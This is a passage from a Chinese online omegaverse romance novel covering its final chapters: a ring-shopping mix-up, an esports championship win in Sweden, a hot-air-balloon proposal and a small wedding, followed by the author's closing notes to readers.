鬼使神差般的。 店员热情地迎上来问他需要什么款式,有什么用途,潭知行只是说,随便看看。 他垂眼扫过一行行排列整齐的钻戒,下意识在心里默默挑选起来。 这个太素气了,池燃可能不喜欢。 这个又太招摇,池燃会喜欢这样的吗? 有没有风格适中…… 店员这时用英文问他,“先生是要选结婚戒指吗?我可以帮您介绍一下。” 潭知行猛然回过神来,拒绝了对方的好意。 “不是,谢谢。” 潭知行意识到自己的莫名其妙。 他在想什么?现在跟池燃提这个,也太早了。 虽然池燃的年纪,已经可以登记结婚了…… 潭知行再度打住自己的念头。 算了,以后再说吧。 他跟店员道谢,回身正准备离开,韩闻烁却朝他迎面走过来,“找你半天,怎么在这儿呢?” 他亲热地搂住潭知行肩膀,给他展示新买的手表,“怎么样?这块最好看吧?帅。” 潭知行:“……行。” “你上这儿来干啥?”韩闻烁话刚出口,就瞧见了一片钻戒,他突然联想到什么,猛地倒吸口气,故作夸张地捂住嘴,“卧槽,你要跟池燃求婚?!” “没——” “还说没有!”韩闻烁震惊,“你小子都来看钻戒了!” 他立刻激动地扒在柜台上替潭知行挑起来,“你看中哪个了?让我看看!我帮你把把关。” “别买那种特俗的知道吗?年轻人不喜欢。”韩闻烁嘴跟机关枪似的,简直比自己结婚还上心,“你买几克拉的啊?池燃手指尺寸你量过吗?他知道你要求婚吗?” “诶我看这个不错。”韩闻烁点点这排倒数第二个,跟店员说,“这个拿出来我看一眼。” 店员笑眯眯地把钻戒拿出来,视线在他们两人中间来回看了看,最后夸赞道,“你们很般配。”—— 作者有话说:韩闻烁:搞错了重来![愤怒] 作者有很重要的话要说:大概还有几章这本就要完结啦,然后会再有一点番外。 写瑞典只是恰好搜到有比赛会在瑞典举办,再一搜发现诺贝尔奖也在瑞典。当然作者没有暗示潭老师得诺奖的意思!潭老师是很厉害,但应该还没到那种程度,只是到结尾了想给小情侣一个事业爱情双丰收的圆满结局,剧透小池当然也会拿冠军啦~我们不是电竞文就不纠结什么逻辑了,反正在这个世界里小池和潭老师就是最棒的! 也希望未来的某一天阿尔兹海默症真的可以被治愈,祝大家都幸福。[抱抱] 第86章 潭知行:“……” 韩闻烁:“………………” 艹, 被人当gay了。 这是对直男的极大侮辱! 潭知行一下拐着韩闻烁走了,对店员道,“谢谢, 我们真的不需要, 再见。” 韩闻烁急得骂他,“你大爷的,你怎么不跟人解释?” 潭知行:“麻烦。” 他看了眼时间, “走吧,该回去了, 把东西放酒店,去看池燃比赛。” 韩闻烁嫌弃似的拍拍自己身上,两步跟上潭知行, “你真没打算求婚?” “没有。”潭知行说。 “那你看屁钻戒啊。” “随便看看。” 韩闻烁:“……” 他不信,并且打算把这个情报分享给池燃。 经过五天比赛,赛程过半,TJG有惊无险地进到前八名,已经超越了他们最开始的预期。 网上对池燃的评价渐渐扭转, 夸赞盖过了小部分骂声。 中间会休赛两天再进行最后的比赛直到决赛, 但池燃只有一天休息时间, 第二天队里还要开会复盘, 再讨论接下来的战术规划。 晚上,他们一起在酒店楼下的自助餐厅吃饭。 趁潭知行去给池燃倒果汁的功夫, 韩闻烁抓紧时机,一针见血,“你知道潭知行要跟你求婚吗?” 池燃突然被呛了一口,难以置信地看向韩闻烁,“你说什么?!” 韩闻烁连忙冲他比了个压低声音的手势, “嘘,小点声。” “今天我俩出去逛街,我看到他去挑钻戒了,我问他他还不承认。” “挑钻戒?”池燃瞪大眼睛。 韩闻烁极其认真地点头,并在脑海里上演了一出偶像剧,“你没发现他半夜偷偷量你手指尺寸吗?” 池燃懵逼地摇头。 他这几天都累得倒头就睡,估计潭知行把他搬走他都不会知道。 韩闻烁嘱咐他,“你自己准备着点吧。” 眼看着潭知行端着橙汁走回来,韩闻烁闭上嘴,装作无事发生。 “给。”潭知行把杯子放到池燃手边。 池燃:“哦。” 潭知行察觉到什么,在韩闻烁和池燃之间看了看,问,“怎么了?” 池燃喝下一大口橙汁,镇定道,“没啊,吃饭。” 等回到房间,池燃装作若无其事地问潭知行,“你今天都干嘛了?” “陪韩闻烁逛街。”潭知行在桌边坐下,打开电脑,例行检查工作邮件,“他买手表,我挑了两条领带,买完回来就去看比赛了。” 池燃在潭知行对面坐下。 “明天休息,打算做什么?”潭知行朝池燃看过去,“想出去逛逛,还是补觉?” “嗯……”池燃想了下说,“先补觉,下午出去逛。” “好。”潭知行合上电脑,“今天早点睡。” “我去洗澡。” 他正准备起身,被池燃叫住。 “潭知行。” “嗯?” 池燃思来想去,觉得还是直接问比较好。 不然他一个人会胡思乱想,怕不是接下来的比赛都不能安心了。 他直截了当地问,“你是要和我求婚吗?” “……” 潭知行怔了两秒,随即笑了,“真是的,韩闻烁怎么什么都和你说。” “是吗?”池燃追问。 “没有。”潭知行坦白道,“只是今天路过珠宝店,进去看了看戒指。” “他误会了。” 池燃发出了和韩闻烁差不多的问题,“不求婚你看戒指干嘛?” 潭知行再度沉默。 “我就是……随便看看。” “那……”池燃认真地看着他,“你想和我结婚吗?” 潭知行似有几秒的出神。 但片刻后,他略过了池燃的问题,“我们现在说这个太早了,至少等你大学毕业,我们再讨论这个问题。” 池燃淡淡地嗯了一声,身子靠回椅背上,“好。” “嗯。”潭知行起身,“我洗澡去了。” 池燃一个人坐在那儿发了好一会儿呆。 他知道潭知行又在犹豫什么,无非是顾及他年纪小,怕他后悔诸如此类。可徐阿姨又能坚持几年呢?真的等得到他大学毕业那一天吗? 上次过年,徐兰芝拉着他说了好一会儿的话。说她看到现在潭知行的状态有多高兴,希望能在她还算清醒的时间里看到潭知行结婚,幸福地生活。 池燃从小到大没体会过什么叫母爱,可在徐兰芝身上,她对潭知行殷切的期盼和祝福,让他哪怕旁观也觉得幸福。 其实池燃下意识对“结婚”这件事有些抵触,因为再上次提到结婚相关时,是池州诚通知似的把他扔给一个陌生人,把他当做利益交换的一个棋子。这一切都让池燃觉得很魔幻,很不可理喻。 所以过年的时候徐兰芝和他提结婚的事,他还觉得有点不真实。可现在……潭知行给他的爱足够让他有勇气去面对那么现实的一件事——结婚。 他决定不用潭知行走这一步,他主动出击- 潭知行关掉花洒,抹掉脸上的水,深深缓了口气。 他不知道自己今天是怎么了,竟然会去看钻戒。 嘴上说着没有想求婚的想法,可池燃那么问他时,他竟回答不上来。 也许人就是会一点点变贪心,确定了关系,就想给这份关系再加上一份保障,盖上一个无期的章。 可谈恋爱和结婚不一样。 谈恋爱时他们的关系很简单,池燃随时有放手的权利。结婚这两个字就突然变得沉重很多很多,好像他是要用一纸证书拴住池燃的下半辈子。 就算离婚,他也会像案底一样缠着池燃一辈子。对池燃来说,太不公平了。 万一他没等到药物研发成功的那一天怎么办? 他知道池燃大概不会放手,可…… 哎。 潭知行叹了口气,从浴室出来。 他总是想得太多,以至于很难迈出下一步。 要是被池燃知道他想这些事,大概又要生气了- 第二天下午,池燃以和TJG的队友们一起出去逛的借口,从潭知行眼皮底下溜了出来。 当然,他拽上了韩闻烁一起,把潭知行一个人留在酒店里独守空房。 “他看的哪家店啊?”池燃问韩闻烁。 韩闻烁往前面给他指,“就那家,这不快到了。” 进了店,他们又遇上昨天的那位店员。 这女孩也认出了韩闻烁,热情地和他打招呼,韩闻烁尴尬地笑了两声,说他们随便看看。 店员看看他,又看看池燃,像意识到什么似的,先捂住嘴说了句抱歉,又说,“你们也很般配。” 池燃:? 说啥呢?什么叫“也”很般配? 韩闻烁咬紧牙关快被气死了。 他下次再也不陪gay子来看钻戒了!!! “我能看下这个吗?”池燃往柜台里点点,跟店员说。 店员将他指的那款拿出来,推到他面前。 池燃仔细端详了半天,觉得这戒指特别霸气,中间一颗主钻,四周又都镶满了钻,亮眼。 韩闻烁在一旁挠挠头,给池燃提建议,“呃……你觉得这个,给潭知行戴会不会太夸张了?” “还好吧。”池燃想了想,反正是求婚用的钻戒,为了让潭知行拜倒在他的诚意下,就得这么豪气。 店员跟他介绍说这是两克拉的,什么工艺怎么切割的,设计有什么渊源等等,说了一大堆。 池燃:“哦,多少钱?” 店员微笑,“四十八万克朗。” 池燃默默换算了下,感觉还行。 “你……真的打算和他求婚?”韩闻烁问。 “嗯。”池燃点头,“他不肯主动跟我求婚,就换我先来呗,都一样。” 韩闻烁对池燃油然生出一股敬意。 池燃跟店员说,“就要这款吧。” 他点开手机备忘录,给店员看潭知行的手指尺寸。 韩闻烁:“你咋知道他尺寸的?” 池燃:“半夜偷偷量啊。” 韩闻烁:“……” 现学现用。 韩闻烁感叹一声,“潭知行他小子还真是命好啊。” 居然能找到愿意给他买两克拉钻戒的男朋友,他怎么没有? 停停停。 韩闻烁打住自己离谱的想法,他是直男,想要钻戒可以自己买! “那,你打算怎么跟他求婚啊?哪天啊?”韩闻烁又问。 池燃被店员领着去付款。 “等打完比赛吧,具体——” 话说到一半,他警惕地看了韩闻烁一眼,“你想干嘛?” “想给潭知行打小报告?” “我没——” 池燃从钱包里拿出张卡递给店员,一边呲牙威胁韩闻烁,像只小猫要挠人似的,“今天的事你一个字都不许跟潭知行说。” “否则……”池燃想了个最能拿捏韩闻烁的条件,“我就不教你打狙了。” 韩闻烁立刻比了个把嘴巴拉上的手势,又跟池燃比ok。 兄弟和游戏,他还是分得清轻重的。 “麻烦在这里签字。”店员将小票和信用卡递给池燃。 池燃说了声好,顺手接过来,大笔一挥签上名字,下一秒,他瞥到一旁的银行卡,却愣住了。 “靠……” “咋了?”韩闻烁不明所以地问。 “出大事了。”池燃一口气哽住,将那张卡拿起来。 这是……潭知行给他的副卡。 刷错卡了。 与此同时,潭知行手机上弹出一条消息提醒:信用卡支出,36万人民币—— 作者有话说:潭老师:[问号][问号][问号] 小池:出师未捷身先死[心碎] 第87章 池燃傻眼了。 他平时用这张卡用习惯了, 刚才顺手就给了。 这下怎么办? 还威胁韩闻烁不准给潭知行说呢,现在他自己倒要露馅了。 池燃脑子飞速转了几秒,拉起韩闻烁往外走。 “干啥去啊?”韩闻烁还懵着。 池燃:“买包!”- 潭知行对着一个低调奢华的男款公文包一阵沉默, 抬眼问池燃, “给我买的?十万?” 池燃底气十足地啊了一声,“怎么样?我眼光还不错吧?” “嗯……挺好的。” 就是他平时上班,用不着背这么贵的。 不过既然是池燃买给他的…… “谢谢。”潭知行说。 “我还给队里的人一人买了个包。”池燃面不改色地说, “付钱的时候刷错卡了,用了你给我的, 我一会儿还你。” 潭知行笑了声,“没事,不用。” “没给自己买点什么吗?”他问池燃。 “……我挑了, 没什么特别喜欢的,就没买。”池燃掩盖过去。 实际上是,他选包的时候都快急死了,就想着怎么能把这个谎圆过去,哪有心思给自己选。 还好, 队里的人一人一个包, 连同韩闻烁的嘴, 都被他封上了, 万无一失。 店员跟他说钻戒要三天后才能取,那时候刚好总决赛结束, 第二天他就可以约潭知行出去玩,出其不意地把钻戒给他,一切都特别完美。 “在笑什么?”潭知行困惑地盯住池燃的嘴角。 “啊?”池燃一下回过神来,收敛起笑意,“没有, 没事。” 潭知行:?- 说实话,池燃自己都觉得和做梦一样,他们TJG居然能以积分第二的名次打进总决赛。离世界冠军就差一步之遥,比赛前一天晚上,几个人都既兴奋又紧张。 池燃也有点睡不着,就算躺在床上,也是一阵翻来覆去。 “睡不着吗?”潭知行突然出声问。 “嗯?”池燃侧过脑袋去看,小声问,“吵醒你啦?” “还没完全睡着。”潭知行说。 “哦……”池燃犹豫了下问,“潭知行,你明天就要去参加颁奖典礼了,你紧张吗?” 潭知行侧身过来,面对着池燃,“你紧张了?” “……有点。”池燃坦诚道,“好不容易打到这儿了,我不想空手而归。” “嗯。”潭知行说,“我也会紧张。” 他轻声笑,“今天下午还背了好几遍发言稿。” 他抬手揽到池燃腰间,有一下没一下地轻拍着,“紧张是很正常的情绪,你会紧张,你的对手也会,所以紧张也没关系。” “无论你怎么想怎么做,时间都会来到明天晚上,来到比赛结束的那一刻,顺其自然。” “嗯……”池燃低低应了声。 潭知行的声音对他就像有魔力似的,不管他能听进去多少道理,光是听着就能让他心头舒缓。 “而且,你不会空手而归的。”潭知行寻到池燃的手,轻轻握住,“我的送你。” “睡吧。” 第二天一早,池燃和潭知行便分开行动。池燃和队友教练集合,为决赛做准备,而潭知行也早早赶到礼堂彩排对流程。 下午,潭知行的颁奖仪式结束后便是晚宴,这确实是个不错的社交场合,能结识一些学术界的权威,但他的心思一早扑去了赛场。 韩闻烁不间断地给他文字直播池燃的比赛现状,知道他打得还算顺利,潭知行更按捺不住逃跑的心思。 中途,他便找了个借口溜走,衣服也没来得及换,穿着一身板正的西装,直奔比赛场。 场馆内人声鼎沸,潭知行矮着身子从人群中穿过,终于坐到位子上。 “我艹你可算来了。”韩闻烁立刻把手里的荧光棒分给潭知行一个。 “怎么样了?”潭知行边看着大屏幕边问。 “快了快了。”韩闻烁激动得直抖腿,“池燃他们队剩三个人,对面剩两个队,都只有两个人。” “现在他们积分已经第一了,稳住就行。” “我靠!” 就在他们说话间,池燃和于胜一人打穿一个队,赢了。 “我操!!!” 潭知行还懵着,韩闻烁已经癫狂到搂着潭知行乱晃了,“赢了!!!第一!冠军啊啊啊啊啊啊!!!” 潭知行向舞台上望去,看着池燃兴奋地跳起来,和队友们抱在一起欢呼,也不自觉地跟着他笑。 太好了。 忽然,池燃和他对上视线,笑容变得更灿烂。 晚上,TJG办庆功宴,池燃特意没有喝多,中途还溜出去把戒指取回来了,因为第二天早上他还有件很重要的事。 刚刚,他收到旅行社发来的消息,他订的双人热气球明早可以正常起飞,会在凌晨三点来酒店接他们。 “潭知行!”池燃嘭地一声推开酒店房门,端着个奖杯就冲进来了,“你看这是什么!” 潭知行正靠在沙发上看书,一边等池燃回来,没想到他回来得还挺早的,不到十二点。 潭知行笑着放下书,将扑过来的人稳稳接住,奖杯也接住。 “喝醉了?”他轻声问。 “没有。”池燃笑嘻嘻的,“我就喝了一点,最多……” 他感受了下,“有点晕,一会儿就好了。” “我跟他们说把奖杯给我带回来让你看看,呐!”他又把奖杯怼到潭知行怀里,问他,“帅不帅?” 潭知行笑了声,捋开他挡住眼睛的碎发,“嗯,特别帅,恭喜。” “你的颁奖视频呢?”池燃揽住他脖子,“给我看看。” 潭知行将奖杯放到桌上,又拿过手机,点开个视频递给池燃,“嗯。” 池燃把手机拿过来,对着屏幕里的人仔细端详了会儿,发出一声感叹,“潭知行你好帅啊。” 他看看视频,再看看面前的人,反复两次后,把手机一扔,吻了上去。 潭知行没有拒绝这个微醺的邀请,他一手环住池燃的腰,加深了这个吻。 安静的房间里,一时只剩下黏腻的水声。 池燃顺着吻到潭知行颈侧。 “池燃?”潭知行稍稍推开他,略带担忧地问,“你是不是又……” “嗯?”池燃迷迷糊糊地停下。 “易感期吗?”潭知行下意识去摸他脸颊的温度。 但很正常。 池燃抿了抿唇,似有犹豫,“潭知行……我有件事要跟你说。” “怎么了?” “我……”池燃缓缓开口,“把你做的抑制剂用了。” “你说什么?”潭知行一瞬间诧异。 “池燃你——” “我什么事都没有。”池燃连忙说,“一点副作用都没感觉到,身体特别好,很正常,你别担心。” “而且……最近好像也感觉不到易感期的存在了。” “你……”潭知行眉头还紧锁着,“我说了不可以用,就算现在没有副作用也不能保证以后没有,你怎么能——” 潭知行感觉自己被池燃气得有点晕了。 池燃知道自己有错在先,只好低垂下眉眼,但嘴上还很有理,“我用都用了你再说这些也晚了,我自己的身体我会注意的,而且谁让你把保险柜密码设得那么简单,我一下就猜到了。” 潭知行还是沉默。 可他也没办法了,池燃比他想象中还要任性。 “一旦有不舒服的地方,要立刻跟我说。” 池燃猛猛点头,“我保证。” 潭知行又轻叹口气。 池燃在他脸颊上亲了一口,“别生气了。” 他笑眯眯地盯着潭知行,“你知道这意味着什么吗?” 潭知行脸色不太好,“意味着以后每年都要带你做全身体检。” “不,半年。”他改口道。 池燃却笑着贴近他耳朵,一手已经摸到他衬衣下摆,“意味着……以后每次我想亲你,想和你做,都是因为……我想。” 再也不是因为易感期,因为生理上不得已的驱使。 “潭知行……” 池燃呢喃着他的名字,去咬他耳朵,“现在我想……” 随后,他便被潭知行抱起,朝卧室走去。 池燃一边吻潭知行,一边摸索着将潭知行的眼镜摘掉,等他被放在床上,眼镜就被他随手甩在一旁。 在解开上衣纽扣之前,潭知行还是不紧不慢地将眼镜摸过来,折起放在床头。 池燃直直地盯着他,心跳在潭知行的一举一动之间加快。不得不说,潭知行身上有一种秩序感,偶尔很让他迷恋,也更让他有想破坏的念头。 “潭知行……老师?” 潭知行动作一顿,向他看过来,眼底的意味不明。 “叫我什么?” 池燃不知死活地笑得很开心,“潭老师。” 潭知行沉默两秒,重重缓了口气,像是被池燃气得没办法了。 “叫我老师?” 他解开池燃的裤带,慢条斯理地去揉,居高临下地看池燃表情的变化,声音低沉,“那你还记不记得,我教过你怎么叫我?” 池燃不肯投降,尽管浑身都软了,嘴还是硬的,“不记得,就叫老师,潭老师,怎么啦?你不爱听?那你习惯习惯。” 潭知行俯下身,带着些怒气,加重力道去吻他,“池燃,你真的很不听话。” 不知道是因为没了易感期信息素的加持,还是比赛这么多天太辛苦,折腾一番下来,池燃感觉自己格外地累,身上每一块骨头都像要散架一样。 他身上汗津津的,费力地踹开潭知行,“够了潭知行,别弄了,一会儿还有事呢。” 潭知行拽住他脚踝将他拖回来,“现在凌晨两点,你还有什么事?” 池燃:“……” 呃,又露馅了。 不过问题不大,他能补救。 他单手揽过潭知行的脖子,仰着脑袋凑上去亲了一口,笑着说,“大事,我们去看日出。”—— 作者有话说:小池:[加油]实施我伟大的求婚计划! 潭老师:[化了]心情跌宕起伏的24h魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【正文完】 第88章 潭知行很难想象, 一个平时会赖床到怎么叫也不肯起的人,会在凌晨三点拉着他去坐热气球看日出。 稀奇。 池燃一分钟都没睡,但此时此刻半点也不困, 反而精神得很, 除了……嗯,潭知行弄得他有点累。 但一听他要去看日出,潭知行很有良知地放过了他, 没做“最后一次”。 “怎么想到要坐热气球的?”潭知行撑着脑袋,靠在车窗边, 问池燃。 “……来都来了,体验一下嘛。” 实际上是这几天他一直想着要怎么跟潭知行求婚,以至于想到梦里都在想, 然后某一天醒来时恍恍惚惚记得自己梦到了热气球,就灵光一闪定了求婚计划。 “我好不容易才订到双人框位的,花了大价钱。”他暗自捏了捏挎包里的小盒子,跟潭知行说,“你要好好珍惜机会。” 潭知行轻声地笑, 跟他说, “一定。” 四点钟, 天还没亮, 他们到达一片空旷的草地,飞行员已经在忙忙碌碌地准备起来了。 四周都是热气球, 巨型鼓风机嗡嗡地响,飞行员用火“砰”地将热气球燃起,火光随之点亮一片天空。 热气球一点一点充盈起来,他们在飞行员的指挥下爬进篮子里。 “慢点。”潭知行扶着池燃站稳,很快, 热气球离开了地面。 火比想象中要热,烫得池燃脸红,也提醒他接下来会发生的事。 待热气球缓缓升起,地面开始变得模糊,置于蓝调的天空之中,让人的心情也跟着飘起来。 天边渐渐变亮,太阳在云间若隐若现,直到冒出头的那一刻,世界又变成暖调的,仿佛象征着新生和希望。 池燃深吸了口气,轻声叫对方的名字,“潭知行。” 潭知行的注意力从出升的朝阳上移开,扭头去看池燃。 只一瞬间,他整个人便怔住。 池燃手中握着个小盒子,里面,是一颗闪闪发亮的钻戒,在如此晨光下更发耀眼。 飞行员见到这一幕,起哄似的哇了一声,弄得池燃更紧张了。 他举着戒指盒,凝望向潭知行的眼睛,颤声问,“潭知行,你……愿意和我结婚吗?” 时间一分一秒地流逝,潭知行却觉得自己浑身上下的血液都被凝固,呼吸也跟着停滞。 他做梦都没想过池燃会主动跟他求婚。 “池燃,我……” 愿意。 但是。 他的下半句话没能说出口,不知道要怎么和池燃说。 要拒绝吗? 说现在不是合适的时机,我们过几年再谈这件事? 还是说他不敢,不敢现在就对池燃承诺什么。 可是,此时此刻,面对池燃,他连拒绝的话都说不出。 “我知道你在想什么,潭知行。”池燃坦率道,“担心我年纪小,会后悔,担心你的病情,会拖累我。” “如果我换个问法呢?”池燃说。 “潭知行,你愿意,无论疾病还是健康,无论贫穷还是富有,无论顺境还是逆境,都永远爱我,珍视我,直到生命的最后一刻吗?” 他说完,声音有一点颤,却笑着看潭知行。 “如果你愿意,就答应我。” 潭知行指尖微动,心也跟着颤了颤。 池燃抱着一颗滚烫的真心,几乎快把他的理智灼伤。他不得不承认,池燃很聪明地拿住了他的死穴。 问他愿不愿意结婚,他的回答可能是否定的。 问他是否愿意无论疾病健康、贫穷富有、顺境逆境,都永远爱池燃,他的回答一定是—— “愿意。” 潭知行眼里含住一点泪,接过了池燃手里的戒指盒,“池燃,我愿意。” 至少现在,他还有能力好好地去爱池燃,那就爱吧。 池燃一步上前抱住了潭知行,在他耳边说,“我也愿意。” 飞行员听不懂中文,见他们拥抱,便为他们欢呼起来。 池燃拿过戒指,握起潭知行的手,小心翼翼地将戒指戴在他中指上。 “怎么样?我选的戒指好看吗?”他问潭知行。 潭知行一下笑出了声来,他不知道要怎么评价池燃的审美,“太多钻了。” “你要我戴着这个戒指去学校上课吗?” “反正是求婚戒指,隆重一点怎么啦,再说……你戴不了多久的。” 潭知行听懂池燃话里的意思,嗯了一声,“结婚的对戒我来买。” 池燃满意地笑笑。 潭知行看着他,油然生出一种挫败感,“池燃,抱歉每次……都是让你主动。” 从表白,到求婚,他们的关系每进一步,都是因为池燃比他勇敢太多。 池燃耸耸肩,又笑,“无所谓啊,我们Alpha,就是这么有担当。” 他说完,眼睛一转,想到什么,跟潭知行说,“被我帅到了吧?快叫老公。” 潭知行没脾气地应他要求,“好,谢谢老公。”- 池燃秉着一不做二不休的原则,从瑞典回来的第二天就拉着潭知行到民政局领了证,干脆果断得很。 买婚戒时,潭知行考虑到自己要上课,池燃要打游戏训练,就买了对素圈戒指,在内侧刻了他们名字的缩写。 因为刻字还要等段时间,开学后,潭知行就戴了几天池燃送他的钻戒,导致有眼睛的学生和老师都发现他订婚了。 潭枫和徐兰芝高兴得不得了,对着两张结婚证看了又看,恨不得供起来。他们跟池燃商量起婚礼的事,说到要请多少Z大的老师,多少故交,加起来大概有一两百号人,池燃顿时毛都炸了,用眼神疯狂跟潭知行求救。 最后,他们举办了一个非常小型的草坪婚礼。除了父母,请来的亲戚朋友不超过十个,当然包括白骁季明野和韩闻烁。 “我靠,今天这么帅。”白骁打量起池燃一身白西服,又偷偷跟他说,“一会儿记得把捧花扔给我啊。” “去。”池燃抬腿要踹他,“想要自己抢去。” “你俩最近怎么样啊?”池燃问。 白骁挠挠头,“呃……就那样呗。” “池燃!”季明野在不远处挥手叫他过去。 “来了!”池燃小跑几步过去,白骁也跟上。 季明野手里拿着个漂亮的花环,笑着递给他,“给,戴上看看。” 池燃震惊,“你编的?” “嗯。”季明野指指地上被风吹落的花瓣,“我看这有柳树枝,还有桃花,就顺手做了一个。” 池燃高兴地接过来,直接往脑袋上一扣,“谢谢同桌。” “池燃?”潭知行从对面走过来,仪式快开始了,池燃却不在,他环顾一圈才在树下一角看见他们。 池燃回身看见潭知行,便问潭知行,“怎么样?好看吗?” 潭知行微微一愣,非要形容的话,人比花娇。 “好看。”他牵过池燃的手,“就这么戴着吧,走吧,该开始了。” “哦。” 池燃跟着他走,还不忘回头招呼白骁和季明野,“快来。” 简单却郑重的仪式走完,大家在草坪上开香槟庆祝,白骁还是没能抢到捧花,落在了韩闻烁手里。 “诶,你年纪还小,不着急。”韩闻烁拍着白骁的肩膀劝道,“潭知行都结婚了我还没结,你让让哥。” 白骁:“……行吧。” 余下的时间便是合照,用餐。 潭知行原本不想要蛋糕,但架不住潭枫和徐兰芝要求一定要有,还是订了一个table cake。 切蛋糕时,他一直很警觉,生怕池燃再把奶油抹他脸上。池燃稍稍一抬胳膊,他恨不得闪出半个身位。 池燃将蛋糕递给季明野一块,狐疑地看向潭知行,“你干嘛?” 潭知行:“……没有。” 池燃反应了几秒,笑了,“怕我把奶油抹你脸上啊。” 潭知行:“……” 池燃用叉子挑起一小块奶油,在潭知行眼前晃了晃,笑道,“放心,今天我会让你保持帅气的。” 小陆也来参加婚礼了,跟在池燃身后“喵喵”地叫,仿佛也想分一块蛋糕。 池燃蹲下身来rua它的头,“怎么啦?你也想吃蛋糕啊?” 池燃拿着叉子逗小陆玩,“你要是想吃也可以,但只能吃一点——” 他话没说完,小陆舔了口叉子尖上的奶油,转头就跑。 “哎!”池燃怕它跑丢了,起身追过去。 潭知行不放心,也跟了上去。 “诶?知行和小池呢?”聊天聊到一半,徐兰芝忽然发现俩人不见了。 韩闻烁大大咧咧道,“可能躲哪儿亲嘴去了吧,不管他们,阿姨咱接着唠。” 跑出去一两百米,池燃和小陆好一顿斗争,终于把它逮回来抱在怀里顺毛。 “想跑哪去啊?干什么,今天不跟我好了?” 潭知行看着他们一大一小两只斗得厉害,忍不住笑了。池燃瞪他一眼,又跟小陆说,“你爸他笑我们,不理他,带你回去吃蛋糕。” 他正要往回走,路过潭知行时,却被抓住手腕。 他手上的力道随之一松,小陆立刻从他怀里跳了出去,往餐桌的方向跑去。 池燃刚想发火,又被潭知行打断。 “我也想吃蛋糕。”潭知行说。 池燃:“走啊,回去——” “怎么不抱我去?”潭知行带着笑意问他。 池燃咬咬牙,“你又不是猫。” “等我锻炼好了,肯定能抱得动你。” “那我是什么?”潭知行又问。 池燃:“……” 他想了个潭知行大概爱听的回答,红着脸小声说,“你是……我的爱人。” 潭知行确实爱听。 他揽过池燃来接吻,同他靠在树上。在他怀里,池燃也像一只顺毛小猫,很快没了脾气。 四下静谧,阳光微微刺眼,池燃安静地与潭知行接吻,忽然想起很多很多事情。 他轻轻推开潭知行,笑着问,“潭知行,那你知道我是谁吗?” 潭知行:“嗯?” “我是……来和你结婚的Alpha。” ——请问你是? ——我是来和你结婚的Alpha。 见第一面时,池燃就是这样回答他的。 应验了。 仿佛冥冥之中,爱自有天意。 潭知行轻笑着嗯了一声,虔诚地去吻他眉心,“你是我从天而降的幸运。” ——正文完———— 作者有话说:好啦,到这里正文就完结啦![加油]小池:撒花[撒花] 潭老师:跟[撒花] 历时三个月,感谢老婆们一路陪我到这里,超级感动[可怜]!(鞠躬)虽然有不舍,但在我心里这是小池和潭老师很圆满的结局啦![烟花] 关于番外:因为这周没有榜单所以为了多上一个榜单只能下周四(10.23号)再开始更新番外。番外会有五章,是一些甜甜婚后日常,希望老婆们能记得回来看看小池和潭老师~ 关于福利番外:想写一点if线,如果小池是幸福家庭里长大的小少爷and潭老师也没有遗传阿尔兹海默症,两个人作为学长学弟相遇在大学的故事。但是我查了一下福利番外要等文章完结结算之后才能发,然而结算还要等一周!可恶[托腮],所以大概就是11.6号才能开始更新福利番外,还是那句话!希望大家常回来看看[抱抱] 再唠叨一点点:这是我第一本顺利完结的原创小说,对我来说它意义很大,回看的时候也会发现很多不足,但写的时候是真的尽力了哈哈哈[垂耳兔头]。 所以我决定先去学习沉淀一下,下一本应该会全文存稿好再开,大概3-4个月之后再带着新故事回来和老婆们见面!希望能带给大家更好更有趣的故事,不见面的日子里也祝大家天天开心! 最后!拜托看到这里的老婆们点点下面的预收[求你了],爱你们![红心]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m